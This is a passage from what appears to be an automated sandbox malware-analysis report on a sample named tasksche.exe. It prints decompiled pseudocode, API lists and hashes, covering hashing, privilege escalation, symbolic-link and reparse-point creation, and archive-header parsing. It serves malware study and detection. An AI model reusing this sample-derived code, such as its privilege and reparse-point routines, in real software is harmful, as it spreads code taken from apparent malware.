						goto L10;
					}
					_t22 = _t222 + 0x20; // 0x20
					if(E004065C4(_t191, _t240, _t22, _t225) != 0) {
						goto L16;
					}
					goto L10;
				}
			}

0x0040690f
0x00406919
0x00406925
0x0040692c
0x00406936
0x0040693b
0x0040693b
0x0040694a
0x0040694d
0x00406952
0x00406955
0x0040695e
0x0040696c
0x0040697d
0x00406988
0x0040698e
0x00406999
0x0040699e
0x004069a5
0x004069a7
0x004069a9
0x004069df
0x004069df
0x00000000
0x004069ab
0x004069ad
0x004069bb
0x004069c0
0x004069c5
0x00000000
0x00000000
0x004069c9
0x004069ca
0x004069d1
0x004069d7
0x004069e2
0x004069e4
0x004069f5
0x00406a05
0x00406a4b
0x00406a50
0x00406a55
0x00406a5c
0x00406a94
0x00406a9f
0x00406aa1
0x00406a29
0x00406a29
0x00406a2d
0x00406a2d
0x00406a38
0x00406a38
0x00406a3a
0x00406a40
0x00406a48
0x00406a48
0x00406a2f
0x00406a32
0x00406a32
0x00000000
0x00406a37
0x00406aa3
0x00406aa3
0x00406aa5
0x00406aa5
0x00406aab
0x00406aae
0x00406b13
0x00406b16
0x00406b21
0x00406b21
0x00406b24
0x00406b2e
0x00406b3d
0x00406b47
0x00406b4d
0x00406b51
0x00406b55
0x00406b62
0x00406b6b
0x00406b7e
0x00406b88
0x00406b8a
0x00406b8a
0x00406b8d
0x00406b90
0x00406baa
0x00406bac
0x00406baf
0x00406bcf
0x00406bd5
0x00406bd7
0x00406c45
0x00406c50
0x00406c54
0x00406c59
0x00406c5f
0x00406c6a
0x00406c6c
0x00406c7d
0x00406c7f
0x00406c90
0x00406c96
0x00406ca1
0x00406cac
0x00406cb1
0x00406cb8
0x00406cc0
0x00406cc0
0x00406ccb
0x00406ccf
0x00406cd4
0x00406c31
0x00406c31
0x00406c32
0x00406c38
0x00000000
0x00406c38
0x00406bda
0x00406be7
0x00406bec
0x00406bf2
0x00406bf7
0x00406bfb
0x00406bfb
0x00406c07
0x00406c10
0x00406c15
0x00406c1c
0x00406c1f
0x00406c29
0x00406c21
0x00406c21
0x00406c21
0x00406c2f
0x00406c2f
0x00000000
0x00406c2f
0x00406bb1
0x00000000
0x00406bb1
0x00406b18
0x00406b1b
0x00406a86
0x00406a86
0x00000000
0x00406a86
0x00000000
0x00406b1b
0x00406ab0
0x00406ab3
0x00406abb
0x00406ac9
0x00406ad3
0x00406ad9
0x00406add
0x00406ae1
0x00406ae5
0x00406aef
0x00406b05
0x00406b09
0x00000000
0x00406b0e
0x00406a5e
0x00406a65
0x00000000
0x00000000
0x00406a67
0x00406a7b
0x00406a81
0x00406a84
0x00406a8c
0x00000000
0x00406a8c
0x00000000
0x00406a84
0x00406a09
0x00000000
0x00000000
0x00406a0b
0x00406a0b
0x00406a12
0x00406a17
0x00406a19
0x00000000
0x00000000
0x00406a1c
0x00406a27
0x00000000
0x00000000
0x00000000
0x00406a27

APIs

__EH_prolog.LIBCMT ref: 0040690F
_wcslen.LIBCMT ref: 00406978
_wcscpy.LIBCMT ref: 004069E4
_wcslen.LIBCMT ref: 004069F0

Part of subcall function 00406553: GetCurrentProcess.KERNEL32(00000020,?), ref: 00406562
Part of subcall function 00406553: OpenProcessToken.ADVAPI32(00000000), ref: 00406569
Part of subcall function 00406553: LookupPrivilegeValueW.ADVAPI32(00000000,?,?), ref: 00406589
Part of subcall function 00406553: AdjustTokenPrivileges.ADVAPI32(?,00000000,00000001,00000000,00000000,00000000), ref: 0040659E
Part of subcall function 00406553: GetLastError.KERNEL32 ref: 004065A8
Part of subcall function 00406553: CloseHandle.KERNEL32(?), ref: 004065B7

Part of subcall function 0040935F: _wcsncpy.LIBCMT ref: 004093C6

CreateFileW.KERNEL32(00000000,40000000,00000000,00000000,00000001,00000080,00000000,00000000,00000001), ref: 00406A7B
CloseHandle.KERNEL32(00000000), ref: 00406A8C
CreateDirectoryW.KERNEL32(00000000,00000000,00000000,00000001), ref: 00406A99
_wcscpy.LIBCMT ref: 00406AE5
_wcscpy.LIBCMT ref: 00406B09
_wcscpy.LIBCMT ref: 00406B55
_wcscpy.LIBCMT ref: 00406B7E
CreateFileW.KERNEL32(00000000,C0000000,00000000,00000000,00000003,02200000,00000000), ref: 00406BA4
DeviceIoControl.KERNEL32 ref: 00406BCF
CloseHandle.KERNEL32(00000000), ref: 00406BDA
GetLastError.KERNEL32 ref: 00406BEC
RemoveDirectoryW.KERNEL32(00000000), ref: 00406C21
DeleteFileW.KERNEL32(00000000), ref: 00406C29

Strings

UNC\, xrefs: 004069B5
SeCreateSymbolicLinkPrivilege, xrefs: 00406931
\??\, xrefs: 00406993
SeRestorePrivilege, xrefs: 00406927

Memory Dump Source

Source File: 00000009.00000002.773160296.0000000000401000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.773127087.0000000000400000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773302345.000000000042A000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773324321.0000000000430000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773360057.0000000000435000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773375129.000000000044F000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773387412.0000000000452000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_tasksche.jbxd

Similarity

API ID: _wcscpy$CloseCreateFileHandle$DirectoryErrorLastProcessToken_wcslen$AdjustControlCurrentDeleteDeviceH_prologLookupOpenPrivilegePrivilegesRemoveValue_wcsncpy
String ID: SeCreateSymbolicLinkPrivilege$SeRestorePrivilege$UNC\$\??\
API String ID: 295717069-3508440684
Opcode ID: 54416bbc68546247290bb90bcc992cafd3815891a8ba72df938a6b2bc5e4892e
Instruction ID: 0b044a0677013c3ee0dedeb9ad72db73be6c8eb7e300feb6a7d55a674be6f19f
Opcode Fuzzy Hash: 54416bbc68546247290bb90bcc992cafd3815891a8ba72df938a6b2bc5e4892e
Instruction Fuzzy Hash: 56B1B471A00215AFDF21EF64CC45BDA77B8EF04304F00446AF95AF7281D778AAA4CB69

Uniqueness

Uniqueness Score: -1.00%

Function 004106F4 Relevance: 30.0, APIs: 16, Strings: 1, Instructions: 225
COMMONCrypto

Download Yara Rule

C-Code - Quality: 83%

			E004106F4(signed int* __esi) {
				signed int _v8;
				signed int _v12;
				signed int _v16;
				signed int _v20;
				signed int _v28;
				signed int _v32;
				signed int _v36;
				signed int _v40;
				intOrPtr _v236;
				char _v240;
				intOrPtr _v244;
				intOrPtr _v248;
				intOrPtr _v252;
				intOrPtr _v256;
				intOrPtr _v260;
				intOrPtr _v264;
				intOrPtr _v268;
				intOrPtr _v272;
				intOrPtr _v276;
				intOrPtr _v280;
				intOrPtr _v284;
				intOrPtr _v288;
				intOrPtr _v292;
				char _v296;
				unsigned int* _t154;
				void* _t167;
				signed int _t183;
				signed int _t199;
				signed int _t227;
				signed int _t229;
				void* _t234;
				signed int _t236;
				void* _t243;

				if(__esi != 0) {
					_v296 = E0041D291( *(__esi[0xa]));
					_v292 = E0041D291( *((intOrPtr*)(__esi[0xa] + 4)));
					_v288 = E0041D291( *((intOrPtr*)(__esi[0xa] + 8)));
					_v284 = E0041D291( *((intOrPtr*)(__esi[0xa] + 0xc)));
					_v280 = E0041D291( *((intOrPtr*)(__esi[0xa] + 0x10)));
					_v276 = E0041D291( *((intOrPtr*)(__esi[0xa] + 0x14)));
					_v272 = E0041D291( *((intOrPtr*)(__esi[0xa] + 0x18)));
					_v268 = E0041D291( *((intOrPtr*)(__esi[0xa] + 0x1c)));
					_v264 = E0041D291( *((intOrPtr*)(__esi[0xa] + 0x20)));
					_v260 = E0041D291( *((intOrPtr*)(__esi[0xa] + 0x24)));
					_v256 = E0041D291( *((intOrPtr*)(__esi[0xa] + 0x28)));
					_v252 = E0041D291( *((intOrPtr*)(__esi[0xa] + 0x2c)));
					_t229 = 0x30;
					_v248 = E0041D291( *((intOrPtr*)(__esi[0xa] + _t229)));
					_v244 = E0041D291( *((intOrPtr*)(__esi[0xa] + 0x34)));
					_v240 = E0041D291( *((intOrPtr*)(__esi[0xa] + 0x38)));
					_v236 = E0041D291( *((intOrPtr*)(__esi[0xa] + 0x3c)));
					_t154 =  &_v240;
					_v8 = _t229;
					do {
						asm("rol edi, 0xe");
						asm("ror ebx, 0x7");
						asm("rol ecx, 0xf");
						asm("rol ebx, 0xd");
						_t234 = ( *(_t154 - 0x34) ^  *(_t154 - 0x34) ^  *(_t154 - 0x34) >> 0x00000003) + ( *_t154 ^  *_t154 ^  *_t154 >> 0x0000000a) +  *((intOrPtr*)(_t154 - 0x38));
						_t154 =  &(_t154[1]);
						_t40 =  &_v8;
						 *_t40 = _v8 - 1;
						_t154[1] = _t234 +  *((intOrPtr*)(_t154 - 0x18));
					} while ( *_t40 != 0);
					_t236 =  *__esi;
					_t227 = __esi[4];
					_v8 = _v8 & 0x00000000;
					_v36 = __esi[1];
					_v32 = __esi[2];
					_v28 = __esi[3];
					_v20 = __esi[5];
					_v16 = __esi[6];
					_v40 = _t236;
					_v12 = __esi[7];
					do {
						asm("ror eax, 0xb");
						asm("rol ecx, 0x7");
						asm("ror ecx, 0x6");
						_t62 = _v8 + 0x42ac30; // 0x428a2f98
						_v8 = _v8 + 4;
						_t167 = (_t227 ^ _t227 ^ _t227) + ( !_t227 & _v16 ^ _v20 & _t227) +  *_t62 +  *((intOrPtr*)(_t243 + _v8 - 0x124)) + _v12;
						_v12 = _v16;
						_v16 = _v20;
						_v20 = _t227;
						_t227 = _t167 + _v28;
						asm("ror ecx, 0xd");
						asm("rol ebx, 0xa");
						asm("ror ebx, 0x2");
						_t75 =  &_v36; // 0x405a40
						_t77 =  &_v36; // 0x405a40
						_t81 =  &_v36; // 0x405a40
						_t199 =  *_t81;
						_v28 = _v32;
						_v36 = _v40;
						_t236 = (_t236 ^ _t236 ^ _t236) + (( *_t75 ^ _t236) & _v32 ^  *_t77 & _v40) + _t167;
						_v32 = _t199;
						_v40 = _t236;
					} while (_v8 < 0x100);
					_t88 =  &_v36; // 0x405a40
					 *__esi =  *__esi + _t236;
					__esi[1] = __esi[1] +  *_t88;
					__esi[2] = __esi[2] + _t199;
					__esi[3] = __esi[3] + _v28;
					__esi[4] = __esi[4] + _t227;
					__esi[5] = __esi[5] + _v20;
					__esi[6] = __esi[6] + _v16;
					_t183 = __esi[7] + _v12;
					__esi[7] = _t183;
					return _t183;
				} else {
					E0040CFA3( &_v40, 0x20);
					return E0040CFA3( &_v296, 0x100);
				}
			}

0x004106ff
0x0041072b
0x0041073e
0x00410751
0x00410764
0x00410777
0x0041078a
0x0041079d
0x004107b0
0x004107c3
0x004107d6
0x004107e9
0x004107fc
0x00410807
0x00410811
0x00410824
0x00410837
0x0041084a
0x00410853
0x00410859
0x0041085c
0x00410863
0x0041086b
0x00410874
0x00410879
0x00410885
0x00410888
0x0041088e
0x0041088e
0x00410891
0x00410891
0x00410899
0x0041089b
0x0041089e
0x004108a2
0x004108a8
0x004108ae
0x004108b4
0x004108ba
0x004108c0
0x004108c3
0x004108c6
0x004108cb
0x004108d0
0x004108d9
0x004108ec
0x004108f2
0x00410900
0x00410903
0x00410909
0x00410911
0x00410914
0x00410919
0x0041091c
0x00410923
0x00410928
0x00410930
0x00410944
0x00410944
0x00410947
0x0041094d
0x00410950
0x00410953
0x00410956
0x00410956
0x00410961
0x00410966
0x00410970
0x00410978
0x00410983
0x0041098b
0x00410996
0x004109a1
0x004109a7
0x004109aa
0x004109af
0x00410701
0x00410707
0x0041071e
0x0041071e

APIs

__byteswap_ulong.LIBCMT ref: 00410726
__byteswap_ulong.LIBCMT ref: 00410739
__byteswap_ulong.LIBCMT ref: 0041074C
__byteswap_ulong.LIBCMT ref: 0041075F
__byteswap_ulong.LIBCMT ref: 00410772
__byteswap_ulong.LIBCMT ref: 00410785
__byteswap_ulong.LIBCMT ref: 00410798
__byteswap_ulong.LIBCMT ref: 004107AB
__byteswap_ulong.LIBCMT ref: 004107BE
__byteswap_ulong.LIBCMT ref: 004107D1
__byteswap_ulong.LIBCMT ref: 004107E4
__byteswap_ulong.LIBCMT ref: 004107F7
__byteswap_ulong.LIBCMT ref: 0041080C
__byteswap_ulong.LIBCMT ref: 0041081F
__byteswap_ulong.LIBCMT ref: 00410832
__byteswap_ulong.LIBCMT ref: 00410845

Strings

@Z@, xrefs: 00410928, 00410930, 00410944, 00410961

Memory Dump Source

Source File: 00000009.00000002.773160296.0000000000401000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.773127087.0000000000400000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773302345.000000000042A000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773324321.0000000000430000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773360057.0000000000435000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773375129.000000000044F000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773387412.0000000000452000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_tasksche.jbxd

Similarity

API ID: __byteswap_ulong
String ID: @Z@
API String ID: 2309504477-3109265564
Opcode ID: 3d995ba0cc5bd3afd1912a8f52df84b91350d78957cf3c3d8552aa4fe151a300
Instruction ID: 1dc3a99616fea8f09d0a2898b21a56a39af3494018e3c7a499627515aa5f83aa
Opcode Fuzzy Hash: 3d995ba0cc5bd3afd1912a8f52df84b91350d78957cf3c3d8552aa4fe151a300
Instruction Fuzzy Hash: 869119B1A006148FCB24DF5AC881A9EB7F1FF48308F1445AEE59AE7721D734E9948F48

Uniqueness

Uniqueness Score: -1.00%

Function 0040CEB6 Relevance: 10.5, APIs: 3, Strings: 3, Instructions: 23
libraryloaderCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E0040CEB6(struct HINSTANCE__** __ecx) {
				void* _t5;
				struct HINSTANCE__* _t6;
				struct HINSTANCE__** _t12;

				_t12 = __ecx;
				if( *((char*)(__ecx + 4)) == 0) {
					_t6 = LoadLibraryW(L"Crypt32.dll");
					 *_t12 = _t6;
					if(_t6 != 0) {
						_t12[2] = GetProcAddress(_t6, "CryptProtectMemory");
						_t6 = GetProcAddress( *_t12, "CryptUnprotectMemory");
						_t12[3] = _t6;
					}
					_t12[1] = 1;
					return _t6;
				}
				return _t5;
			}

0x0040ceb7
0x0040cebd
0x0040cec4
0x0040ceca
0x0040cece
0x0040cee6
0x0040cee9
0x0040ceeb
0x0040ceee
0x0040ceef
0x00000000
0x0040ceef
0x0040cef4

APIs

LoadLibraryW.KERNEL32(Crypt32.dll,00000020,0040CF0E,00000020,?,?,00405D3C,?,00000020,00000001,00000000,?,00000010,?,?,?), ref: 0040CEC4
GetProcAddress.KERNEL32(00000000,CryptProtectMemory), ref: 0040CEDD
GetProcAddress.KERNEL32(00438800,CryptUnprotectMemory), ref: 0040CEE9

Strings

CryptUnprotectMemory, xrefs: 0040CEDF
Crypt32.dll, xrefs: 0040CEBF
CryptProtectMemory, xrefs: 0040CED7

Memory Dump Source

Source File: 00000009.00000002.773160296.0000000000401000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.773127087.0000000000400000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773302345.000000000042A000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773324321.0000000000430000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773360057.0000000000435000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773375129.000000000044F000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773387412.0000000000452000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_tasksche.jbxd

Similarity

API ID: AddressProc$LibraryLoad
String ID: Crypt32.dll$CryptProtectMemory$CryptUnprotectMemory
API String ID: 2238633743-1753850145
Opcode ID: 5fe6950aaff99067424b8bdf76d8a3167c7df5a56d66711809a8faa92a841fba
Instruction ID: 6e3b8f00ce2f8e0fa430b510b5536735c08c44b91adf59875fbb0715622b898a
Opcode Fuzzy Hash: 5fe6950aaff99067424b8bdf76d8a3167c7df5a56d66711809a8faa92a841fba
Instruction Fuzzy Hash: 7EE092306003119FD7319F79EC44B03BBE89F94B10B14846FE984E3250C6B8D4518B5D

Uniqueness

Uniqueness Score: -1.00%

Function 00406553 Relevance: 9.0, APIs: 6, Instructions: 42
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00406553(WCHAR* _a4) {
				void* _v8;
				intOrPtr _v12;
				struct _TOKEN_PRIVILEGES _v24;
				long _t19;

				_t19 = 0;
				if(OpenProcessToken(GetCurrentProcess(), 0x20,  &_v8) != 0) {
					_v24.PrivilegeCount = 1;
					_v12 = 2;
					if(LookupPrivilegeValueW(0, _a4,  &(_v24.Privileges)) != 0 && AdjustTokenPrivileges(_v8, 0,  &_v24, 0, 0, 0) != 0 && GetLastError() == 0) {
						_t19 = 1;
					}
					CloseHandle(_v8);
				}
				return _t19;
			}

0x00406560
0x00406571
0x0040657a
0x00406582
0x00406591
0x004065b2
0x004065b2
0x004065b7
0x004065b7
0x004065c1

APIs

GetCurrentProcess.KERNEL32(00000020,?), ref: 00406562
OpenProcessToken.ADVAPI32(00000000), ref: 00406569
LookupPrivilegeValueW.ADVAPI32(00000000,?,?), ref: 00406589
AdjustTokenPrivileges.ADVAPI32(?,00000000,00000001,00000000,00000000,00000000), ref: 0040659E
GetLastError.KERNEL32 ref: 004065A8
CloseHandle.KERNEL32(?), ref: 004065B7

Memory Dump Source

Source File: 00000009.00000002.773160296.0000000000401000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.773127087.0000000000400000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773302345.000000000042A000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773324321.0000000000430000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773360057.0000000000435000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773375129.000000000044F000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773387412.0000000000452000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_tasksche.jbxd

Similarity

API ID: ProcessToken$AdjustCloseCurrentErrorHandleLastLookupOpenPrivilegePrivilegesValue
String ID:
API String ID: 3398352648-0
Opcode ID: c4d8732f7f1e2046f43f8b45a71e1742e44d7c33346580acd03521233585be14
Instruction ID: 201d4201c496fcfd48e74424a9b99b2c6b7fcfb09556bcb8571a25bcb240e8ee
Opcode Fuzzy Hash: c4d8732f7f1e2046f43f8b45a71e1742e44d7c33346580acd03521233585be14
Instruction Fuzzy Hash: A0011DB1600209FFDB209FA4DC89EAF7BBCAB04344F401076B902E1255D775CE259A75

Uniqueness

Uniqueness Score: -1.00%

Function 00401CC1 Relevance: 7.8, APIs: 3, Strings: 1, Instructions: 769
COMMONCrypto

Download Yara Rule

C-Code - Quality: 95%

			E00401CC1(intOrPtr* __ecx, void* __eflags) {
				void* __ebx;
				void* __edi;
				void* __esi;
				intOrPtr _t334;
				unsigned int _t340;
				signed int _t344;
				signed int _t345;
				void* _t347;
				signed int _t349;
				char _t369;
				signed short _t376;
				signed int _t382;
				void* _t388;
				signed int _t389;
				signed int _t392;
				void* _t396;
				signed char _t401;
				char _t406;
				signed int _t414;
				char _t415;
				signed int _t418;
				signed int _t419;
				void* _t420;
				void* _t422;
				signed int _t429;
				signed short _t434;
				signed short _t439;
				signed char _t444;
				signed int _t448;
				signed int _t454;
				signed int _t461;
				signed int _t468;
				void* _t469;
				void* _t471;
				short* _t472;
				void* _t481;
				intOrPtr _t488;
				void* _t492;
				signed char _t495;
				signed int _t497;
				void* _t500;
				void* _t503;
				intOrPtr* _t509;
				signed int _t521;
				signed int _t526;
				signed int* _t530;
				unsigned int _t531;
				signed int _t533;
				signed int _t545;
				char _t556;
				char _t557;
				signed int _t559;
				signed int _t560;
				signed int* _t576;
				signed int _t620;
				signed int _t621;
				signed int _t622;
				signed int _t644;
				signed int _t646;
				signed int _t650;
				signed int _t652;
				void* _t653;
				void* _t656;
				signed int _t659;
				signed int _t660;
				signed int _t662;
				signed int _t665;
				signed int _t666;
				void* _t667;
				signed int _t669;
				signed int _t670;
				signed int _t671;
				unsigned int _t676;
				signed int _t677;
				intOrPtr _t680;
				signed int _t681;
				signed int _t683;
				void* _t685;
				signed int _t694;

				E0041A4DC(E00429562, _t685);
				E0041AAF0(0x2874);
				_push(_t677);
				_t509 = __ecx;
				E0040B736(_t685 - 0x48, __ecx);
				_t650 = 0;
				 *((intOrPtr*)(_t685 - 4)) = 0;
				if( *((char*)(__ecx + 0xb05c)) == 0) {
					L9:
					 *((char*)(_t685 - 0xe)) = 0;
					L11:
					E0040B4C8(_t685 - 0x48, _t650, 7);
					__eflags =  *((intOrPtr*)(_t685 - 0x34)) - _t650;
					if(__eflags == 0) {
						L5:
						E00401C37(_t509, _t644, _t696);
						L6:
						_t697 =  *((intOrPtr*)(_t685 - 0x48)) - _t650;
						if( *((intOrPtr*)(_t685 - 0x48)) != _t650) {
							_push( *((intOrPtr*)(_t685 - 0x48)));
							E0041A506(_t509, _t650, _t677, _t697);
						}
						_t334 = 0;
						L134:
						 *[fs:0x0] =  *((intOrPtr*)(_t685 - 0xc));
						return _t334;
					}
					 *(_t509 + 0x654c) = E0040B57A(_t685 - 0x48) & 0x0000ffff;
					 *(_t509 + 0x655c) = 0;
					_t677 = E0040B562(_t685 - 0x48) & 0x000000ff;
					_t340 = E0040B57A(_t685 - 0x48) & 0x0000ffff;
					 *(_t509 + 0x6554) = _t340;
					 *(_t509 + 0x655c) = _t340 >> 0x0000000e & 0x00000001;
					_t344 = E0040B57A(_t685 - 0x48) & 0x0000ffff;
					 *(_t509 + 0x6558) = _t344;
					 *(_t509 + 0x6550) = _t677;
					__eflags = _t344 - 7;
					if(__eflags >= 0) {
						_t677 = _t677 - 0x73;
						__eflags = _t677;
						_t652 = 3;
						if(_t677 == 0) {
							 *(_t509 + 0x6550) = 1;
						} else {
							_t677 = _t677 - 1;
							__eflags = _t677;
							if(_t677 == 0) {
								 *(_t509 + 0x6550) = 2;
							} else {
								_t677 = _t677 - 6;
								__eflags = _t677;
								if(_t677 == 0) {
									 *(_t509 + 0x6550) = _t652;
								} else {
									_t677 = _t677 - 1;
									__eflags = _t677;
									if(_t677 == 0) {
										 *(_t509 + 0x6550) = 5;
									}
								}
							}
						}
						_t521 =  *(_t509 + 0x6550);
						 *(_t509 + 0x6544) = _t521;
						__eflags = _t521 - 0x75;
						if(_t521 != 0x75) {
							__eflags = _t521 - 1;
							if(_t521 != 1) {
								L26:
								_t345 = _t344 + 0xfffffff9;
								__eflags = _t345;
								_push(_t345);
								L27:
								E0040B4C8(_t685 - 0x48, _t652);
								_t347 = E004010D4(_t509,  *(_t509 + 0x6558));
								asm("adc ecx, [ebx+0xb044]");
								 *((intOrPtr*)(_t509 + 0xb048)) = _t347 +  *((intOrPtr*)(_t509 + 0xb040));
								_t349 =  *(_t509 + 0x6550);
								 *((intOrPtr*)(_t509 + 0xb04c)) = 0;
								__eflags = _t349 - 1;
								if(__eflags == 0) {
									_t653 = _t509 + 0x6570;
									E00409B19(_t653);
									_t526 = 5;
									memcpy(_t653, _t509 + 0x654c, _t526 << 2);
									 *(_t509 + 0x6584) = E0040B57A(_t685 - 0x48);
									_t677 = E0040B5AF(_t685 - 0x48);
									_t530 = _t509 + 0x6578;
									_t531 =  *_t530;
									 *(_t509 + 0xb055) =  *_t530 & 0x00000001;
									 *(_t509 + 0xb054) = _t531 >> 0x00000003 & 0x00000001;
									 *(_t509 + 0xb057) = _t531 >> 0x00000002 & 0x00000001;
									 *(_t509 + 0xb05b) = _t531 >> 0x00000006 & 0x00000001;
									 *(_t509 + 0x6588) = _t677;
									 *(_t509 + 0xb05c) = _t531 >> 0x00000007 & 0x00000001;
									__eflags = _t677;
									if(_t677 != 0) {
										L114:
										_t369 = 1;
										__eflags = 1;
										L115:
										 *((char*)(_t509 + 0xb058)) = _t369;
										 *(_t509 + 0x658c) = _t531 >> 0x00000001 & 0x00000001;
										_t533 = _t531 >> 0x00000004 & 0x00000001;
										__eflags = _t533;
										 *(_t509 + 0xb059) = _t531 >> 0x00000008 & 0x00000001;
										 *(_t509 + 0xb05a) = _t533;
										L116:
										_t650 = 0;
										_t376 = E0040B6E6(_t685 - 0x48, 0);
										__eflags =  *(_t509 + 0x654c) - (_t376 & 0x0000ffff);
										if( *(_t509 + 0x654c) == (_t376 & 0x0000ffff)) {
											L128:
											__eflags =  *((intOrPtr*)(_t509 + 0xb04c)) -  *((intOrPtr*)(_t509 + 0xb044));
											if(__eflags > 0) {
												L131:
												_t680 =  *((intOrPtr*)(_t685 - 0x34));
												__eflags =  *((intOrPtr*)(_t685 - 0x48)) - _t650;
												if(__eflags != 0) {
													_push( *((intOrPtr*)(_t685 - 0x48)));
													E0041A506(_t509, _t650, _t680, __eflags);
												}
												_t334 = _t680;
												goto L134;
											}
											if(__eflags < 0) {
												goto L13;
											}
											__eflags =  *((intOrPtr*)(_t509 + 0xb048)) -  *((intOrPtr*)(_t509 + 0xb040));
											if(__eflags <= 0) {
												goto L13;
											}
											goto L131;
										}
										_t382 =  *(_t509 + 0x6550);
										__eflags = _t382 - 0x79;
										if(_t382 == 0x79) {
											goto L128;
										}
										__eflags = _t382 - 0x76;
										if(_t382 == 0x76) {
											goto L128;
										}
										__eflags = _t382 - 5;
										if(_t382 != 5) {
											L126:
											 *((char*)(_t509 + 0xb064)) = 1;
											E004062BA(0x4335ac, 3);
											__eflags =  *((char*)(_t685 - 0xe));
											if( *((char*)(_t685 - 0xe)) == 0) {
												goto L128;
											}
											E0040639F(4, _t509 + 0x1e, _t509 + 0x1e);
											 *((char*)(_t509 + 0xb065)) = 1;
											goto L6;
										}
										__eflags =  *(_t509 + 0x8906);
										if( *(_t509 + 0x8906) == 0) {
											goto L126;
										}
										E0040117B(_t685 - 0x58, _t644, _t509);
										 *((char*)(_t685 - 4)) = 1;
										_t388 =  *((intOrPtr*)( *_t509 + 0x10))();
										_t681 = 7;
										_t389 = _t388 - _t681;
										__eflags = _t389;
										asm("sbb edx, edi");
										 *((intOrPtr*)( *_t509 + 0xc))(_t389, _t644, 0);
										 *((char*)(_t685 - 0xd)) = 1;
										do {
											_t392 = E00408C2F(_t509);
											__eflags = _t392;
											if(_t392 != 0) {
												 *((char*)(_t685 - 0xd)) = 0;
											}
											_t681 = _t681 - 1;
											__eflags = _t681;
										} while (_t681 != 0);
										 *((char*)(_t685 - 4)) = 0;
										 *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_t685 - 0x58)))) + 0xc))( *((intOrPtr*)(_t685 - 0x50)),  *(_t685 - 0x4c), _t650);
										__eflags =  *((char*)(_t685 - 0xd));
										if( *((char*)(_t685 - 0xd)) != 0) {
											goto L128;
										}
										goto L126;
									}
									_t369 = 0;
									__eflags =  *(_t509 + 0x6584);
									if( *(_t509 + 0x6584) == 0) {
										goto L115;
									}
									goto L114;
								}
								if(__eflags <= 0) {
									L110:
									__eflags =  *(_t509 + 0x6554) & 0x00008000;
									if(( *(_t509 + 0x6554) & 0x00008000) != 0) {
										 *((intOrPtr*)(_t509 + 0xb048)) =  *((intOrPtr*)(_t509 + 0xb048)) + E0040B5AF(_t685 - 0x48);
										asm("adc dword [ebx+0xb04c], 0x0");
									}
									goto L116;
								}
								__eflags = _t349 - _t652;
								if(_t349 <= _t652) {
									__eflags = _t349 - 2;
									 *((char*)(_t685 - 0xd)) = _t349 == 2;
									__eflags =  *((char*)(_t685 - 0xd));
									_t396 = _t509 + 0x65e8;
									if( *((char*)(_t685 - 0xd)) == 0) {
										_t396 = _t509 + 0x8928;
									}
									_t656 = _t396;
									 *(_t685 - 0x14) = _t396;
									E00409B44(_t656, 0);
									_t545 = 5;
									memcpy(_t656, _t509 + 0x654c, _t545 << 2);
									_t683 =  *(_t685 - 0x14);
									 *(_t683 + 0x1088) =  *(_t683 + 8) & 0x00000001;
									_t401 =  *(_t683 + 8);
									 *(_t683 + 0x1089) = _t401 >> 0x00000001 & 0x00000001;
									 *(_t683 + 0x108b) = _t401 >> 0x00000002 & 0x00000001;
									__eflags =  *((char*)(_t685 - 0xd));
									 *(_t683 + 0x1090) = _t401 >> 0x0000000a & 0x00000001;
									if( *((char*)(_t685 - 0xd)) == 0) {
										L40:
										_t556 = 0;
										__eflags = 0;
										goto L41;
									} else {
										__eflags = _t401 & 0x00000010;
										if((_t401 & 0x00000010) == 0) {
											goto L40;
										}
										_t556 = 1;
										L41:
										__eflags =  *((char*)(_t685 - 0xd));
										_t677 =  *(_t685 - 0x14);
										 *((char*)(_t677 + 0x10e0)) = _t556;
										if( *((char*)(_t685 - 0xd)) != 0) {
											L44:
											_t557 = 0;
											__eflags = 0;
											L45:
											 *((char*)(_t677 + 0x10ea)) = _t557;
											_t559 = _t401 & 0x000000e0;
											__eflags = _t559 - 0xe0;
											_t560 = _t559 & 0xffffff00 | _t559 == 0x000000e0;
